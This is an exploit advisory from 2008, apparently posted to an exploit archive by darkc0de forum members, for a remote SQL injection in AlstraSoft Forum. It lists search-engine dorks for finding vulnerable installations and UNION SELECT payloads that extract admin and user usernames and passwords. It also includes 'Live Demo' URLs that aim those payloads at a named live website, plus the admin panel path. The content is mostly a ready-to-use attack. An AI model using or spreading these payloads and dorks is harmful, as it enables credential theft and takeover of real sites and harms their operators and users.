Home / exploits alstrasoftforum-sql.txt
Posted on 08 September 2008
################################################################ # .___ __ _______ .___ # # __| _/____ _______| | __ ____ _ __| _/____ # # / __ |\__ \_ __ |/ // ___/ /_ / __ |/ __ # # / /_/ | / __ | | / < \___ \_/ / /_/ ___/ # # \____ |(______/__| |__|_ \_____>\_____ /\_____|\____ # # / / / # # ___________ ______ _ __ # # _/ ___\_ __ \_/ __ / / / # # \___| | / ___/ / # # \___ >__| \___ >/\_/ # # est.2007 / / forum.darkc0de.com # ################################################################ # --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# # --- QKrun1x - skillfaker - FeDeReR - Optyx - Nuclear # and all darkc0de members ---# ################################################################ # # Author: r45c4l and P47r1ck # # Home : www.darkc0de.com # # Email : r45c4l@hotmail.com, p47r1ckro[at]gmail[dot]com # # Share the c0de! # ################################################################ # # Exploit: Altrasoft Forum (cat) Remote SQL Injection Vulnerability # # # App Name: AlstraSoft Forum # # App Home: http://www.alstrasoft.com/ # # Dork: inurl:index.php?menu=showcat= # Dork2: Powered By AlstraSoft Forum Pay Per Post Exchange # # # # # # POC: For Admin id and pass # index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- # # P0C-2: For Users id and pass # index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+2,1-- # # Live Demo: (For admin) # # http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(auser,0x3a,apass),3+from+admin-- # # Live Demo: (For Users) # http://payperpostpro.com/index.php?menu=showcat&cat=-1+union+all+select+1,concat(username,0x3a,upass),3+from+users+limit+1,1-- # # # Admin panel is at http://site.com/admin ################################################################ # Vuln Discovered 7th Sep 2008
